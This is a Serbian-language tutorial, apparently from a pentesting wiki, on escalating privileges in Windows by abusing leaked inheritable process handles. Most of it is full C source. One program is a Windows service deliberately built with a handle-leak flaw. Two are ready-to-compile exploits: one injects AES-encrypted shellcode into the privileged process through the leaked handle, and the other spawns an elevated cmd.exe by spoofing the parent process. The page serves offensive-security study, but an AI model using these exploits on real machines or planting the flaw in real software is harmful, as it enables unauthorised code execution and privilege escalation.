Leaked Handle Exploitation

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Introduction

Handle-ovi u procesu omogućavaju pristup različitim Windows resursima:

Već je bilo nekoliko slučajeva eskalacije privilegija gde je privilegovan proces sa otvorenim i nasledivim handle-ovima pokrenuo neprivilegovan proces dajući mu pristup svim tim handle-ovima.

Na primer, zamislite da proces koji se izvršava kao SYSTEM otvara novi proces (OpenProcess()) sa potpunim pristupom. Taj isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama, ali nasledivši sve otvorene handle-ove glavnog procesa.
Zatim, ako imate potpun pristup niskoprivilegovanom procesu, možete uzeti otvoreni handle za privilegovan proces kreiran sa OpenProcess() i ubaciti shellcode.

Interesting Handles

Process

Kao što ste pročitali u inicijalnom primeru, ako neprivilegovan proces nasledjuje handle procesa privilegovanog procesa sa dovoljno dozvola, moći će da izvrši arbitrarni kod na njemu.

U ovom odličnom članku možete videti kako da iskoristite bilo koji handle procesa koji ima neku od sledećih dozvola:

• PROCESS_ALL_ACCESS
• PROCESS_CREATE_PROCESS
• PROCESS_CREATE_THREAD
• PROCESS_DUP_HANDLE
• PROCESS_VM_WRITE

Thread

Slično handle-ovima procesa, ako neprivilegovan proces nasledjuje handle niti privilegovanog procesa sa dovoljno dozvola, moći će da izvrši arbitrarni kod na njemu.

U ovom odličnom članku možete takođe videti kako da iskoristite bilo koji handle procesa koji ima neku od sledećih dozvola:

• THREAD_ALL_ACCESS
• THREAD_DIRECT_IMPERSONATION
• THREAD_SET_CONTEXT

File, Key & Section Handles

Ako neprivilegovan proces nasledjuje handle sa dozvolama ekvivalentnim pisanju nad privilegovanom datotekom ili registrijem, moći će da prepiše datoteku/registri (i uz mnogo sreće, eskalira privilegije).

Section Handles su slični handle-ovima datoteka, uobičajeni naziv za ovu vrstu objekata je "File Mapping". Koriste se za rad sa velikim datotekama bez čuvanja cele datoteke u memoriji. To čini eksploataciju "sličnom" eksploataciji handle-a datoteke.

How to see handles of processes

Process Hacker

Process Hacker je alat koji možete preuzeti besplatno. Ima nekoliko neverovatnih opcija za inspekciju procesa, a jedna od njih je mogućnost da vidite handle-ove svakog procesa.

Napomena: da biste videli sve handle-ove svih procesa, potrebna je SeDebugPrivilege (tako da morate pokrenuti Process Hacker kao administrator).

Da biste videli handle-ove procesa, desni klik na proces i izaberite Handles:

Zatim možete desnim klikom na handle proveriti dozvole:

Sysinternals Handles

Handles binarni fajl iz Sysinternals takođe će prikazati handle-ove po procesu u konzoli:

LeakedHandlesFinder

Ovaj alat vam omogućava da pratite provaljene handle-ove i čak automatski ih eksploatišete za eskalaciju privilegija.

Methodology

Sada kada znate kako da pronađete handle-ove procesa, ono što treba da proverite je da li neki neprivilegovan proces ima pristup privilegovanim handle-ovima. U tom slučaju, korisnik procesa bi mogao da dobije handle i zloupotrebi ga za eskalaciju privilegija.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Vulnerable Example

Na primer, sledeći kod pripada Windows servisu koji bi bio ranjiv. Ranjivi kod ovog binarnog servisa se nalazi unutar Exploit funkcije. Ova funkcija počinje kreiranjem novog handle procesa sa punim pristupom. Zatim, kreira niskoprivilegovan proces (kopirajući niskoprivilegovan token explorer.exe) izvršavajući C:\users\username\desktop\client.exe. Ranjivost leži u činjenici da kreira niskoprivilegovan proces sa bInheritHandles kao TRUE.

Stoga, ovaj niskoprivilegovan proces može uzeti handle visoko privilegovanog procesa kreiranog prvo i ubaciti i izvršiti shellcode (vidi sledeći odeljak).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Example 1

U ovom primeru možete pronaći kod mogućeg exploit-a za C:\users\username\desktop\client.exe.
Najzanimljiviji deo ovog koda se nalazi u GetVulnProcHandle. Ova funkcija će početi da prikuplja sve handle-ove, zatim će proveriti da li neki od njih pripada istom PID-u i da li handle pripada procesu. Ako su svi ovi zahtevi ispunjeni (pronađen je pristupačan otvoren handle procesa), pokušava da injektuje i izvrši shellcode koristeći handle procesa.
Injekcija shellcode-a se vrši unutar Inject funkcije i samo će napisati shellcode unutar privilegovanog procesa i kreirati nit unutar istog procesa da izvrši shellcode).

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}

Exploit Example 2

U ovom primeru, umesto da zloupotrebljavate otvoreni handle za injekciju i izvršavanje shellcode-a, koristiće se token privilegovanog otvorenog handle procesa za kreiranje novog. To se radi u redovima od 138 do 148.

Obratite pažnju na to kako se funkcija UpdateProcThreadAttribute koristi sa atributom PROC_THREAD_ATTRIBUTE_PARENT_PROCESS i handle-om do otvorenog privilegovanog procesa. To znači da će niti procesa koji izvršava cmd.exe imati iste privilegije tokena kao otvoreni handle proces**.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

Ostali alati i primeri

• https://github.com/lab52io/LeakedHandlesFinder

Ovaj alat vam omogućava da pratite provale handle-a kako biste pronašli ranjive i čak ih automatski iskoristili. Takođe ima alat za provaljivanje jednog.

• https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles

Još jedan alat za provaljivanje handle-a i njegovo iskorišćavanje.

Reference

• http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
• https://github.com/lab52io/LeakedHandlesFinder
• https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html